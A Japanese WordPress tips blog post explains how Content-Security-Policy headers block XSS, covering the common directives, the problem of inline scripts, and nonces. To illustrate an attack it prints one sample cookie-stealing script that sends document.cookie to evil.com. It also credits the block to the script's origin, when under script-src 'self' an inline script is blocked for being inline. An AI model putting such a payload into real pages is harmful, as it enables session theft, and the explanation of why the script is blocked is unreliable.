WordPress Tips | セキュリティ:Content-Security-Policy 設定

web Web
スポンサーリンク

Content-Security-Policy(CSP)は「サイトに読み込んでよいものを“ホワイトリスト化”する最強の防御壁」

まず、CSP を一言でまとめると、

「このページでは、どのスクリプト・画像・CSS・外部サービスを読み込んでよいかを“細かく指定する”ためのセキュリティルール」

です。

これを設定すると、ブラウザはページを読み込むときに、

「このスクリプトは許可されている?」
「この画像はどのドメインから来ている?」
「このインラインスクリプトは実行していい?」

といったチェックを行い、許可されていないものは実行しません。

これは、XSS(クロスサイトスクリプティング)対策として非常に強力です。

ここまでのイメージはつかめていますか?
次は、もう少し深く掘り下げていきますね。


なぜ CSP が「XSS 対策の本命」と言われるのか

XSS の本質は「意図しないスクリプトが実行されること」

XSS は、攻撃者が仕込んだ JavaScript がユーザーのブラウザで実行されてしまう攻撃でした。

例えば、

コメント欄に <script>...</script> を書かれる
URL パラメータに悪意あるコードを入れられる
テーマやプラグインの脆弱性でスクリプトが混入する

などが典型です。

CSP を設定すると、ブラウザはこう判断します。

「このスクリプト、許可リストに入ってないよね?
じゃあ実行しない。」

つまり、

“スクリプトが混入しても、実行されない”

という状態を作れるのが CSP の強さです。


CSP の基本構造をかみ砕いて理解する

「どの種類のリソースを、どの場所から読み込んでよいか」を決める

CSP は、レスポンスヘッダでこんな感じのルールを送ります。

Content-Security-Policy: default-src 'self'; img-src 'self' https://images.example.com; script-src 'self';

これを日本語にすると、

「基本的には自分のサイトのものだけ読み込んでよい。
画像は自分のサイトと images.example.com からだけOK。
スクリプトは自分のサイトのものだけOK。」

という意味です。

よく使うディレクティブ(設定項目)

初心者向けに、特に重要なものだけ紹介します。

default-src

「特に指定がないリソースはここを基準にする」

例:
default-src 'self'
→ 自分のサイトのものだけ許可

script-src

「JavaScript をどこから読み込んでよいか」

例:
script-src 'self' https://cdn.example.com

img-src

「画像をどこから読み込んでよいか」

例:
img-src 'self' data:

style-src

「CSS をどこから読み込んでよいか」

例:
style-src 'self' 'unsafe-inline'
(※ 'unsafe-inline' は本当は危険だが、WordPress では必要になることが多い)


例題:CSP がある場合・ない場合の違い

例1:コメント欄に悪意あるスクリプトが書かれた場合

CSP なし

<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>

→ ブラウザはそのまま実行
→ クッキーが盗まれる可能性

CSP あり(script-src ‘self’)

ブラウザ:「このスクリプト、evil.com から来てるよね?許可されてないよ」
→ 実行をブロック
→ XSS が成立しない

例2:外部広告タグが http のまま読み込まれる場合

CSP なし

http の JS が混ざり、Mixed Content や改ざんリスクが発生

CSP あり(script-src https:)

http のスクリプトは自動的にブロック
→ 安全性が上がる


WordPress で CSP を設定するときの注意点

WordPress は「インラインスクリプト」が多い

WordPress のテーマやプラグインは、

<script> ... </script>
のようなインラインスクリプトを多用します。

CSP では、インラインスクリプトはデフォルトで禁止されるため、

script-src 'self' 'unsafe-inline'

を入れないと動かないケースが多いです。

ただし 'unsafe-inline' はセキュリティ的には弱くなるため、

可能なら nonce(ナンス)方式に移行するのが理想です。

外部サービスを使っていると許可リストが増える

Google Fonts
Google Analytics
reCAPTCHA
CDN
SNS 埋め込み

などを使っていると、

script-src
img-src
style-src

に追加で許可ドメインを入れる必要があります。

CSP は強力ですが、
設定が厳しすぎるとサイトが壊れるので、
少しずつ調整するのが現実的です。


プログラミングの感覚で捉える「CSP」

これは「ホワイトリスト方式のアクセス制御」

アプリケーション開発では、

「許可したものだけ通す」
というホワイトリスト方式が最も安全です。

CSP は、

“ブラウザが読み込むリソース”に対してホワイトリストを作る

という設計です。

XSS を「発生させない」のではなく「実行させない」

アプリ側のエスケープが甘いと、
XSS の“混入”自体は起きてしまいます。

しかし CSP があれば、

「混入しても実行されない」

という状態を作れます。

これは、
アプリ側のミスをブラウザ側で補完する
という意味で非常に強力です。


まとめ:CSP は「ブラウザに守ってもらうための最強の安全ルール」

Content-Security-Policy の本質は、

ページ内で読み込んでよいリソースを細かく指定し
許可されていないスクリプトや外部リソースを自動でブロックし
XSS や改ざんリスクを大幅に下げる

という点にあります。

押さえておきたいポイントは、

CSP は XSS 対策の中でも最強クラス
WordPress ではインラインスクリプトが多く、調整が必要
ホワイトリスト方式なので、少しずつ設定していくのが現実的

という三つです。

Web
スポンサーリンク
シェアする
@lifehackerをフォローする
スポンサーリンク
タイトルとURLをコピーしました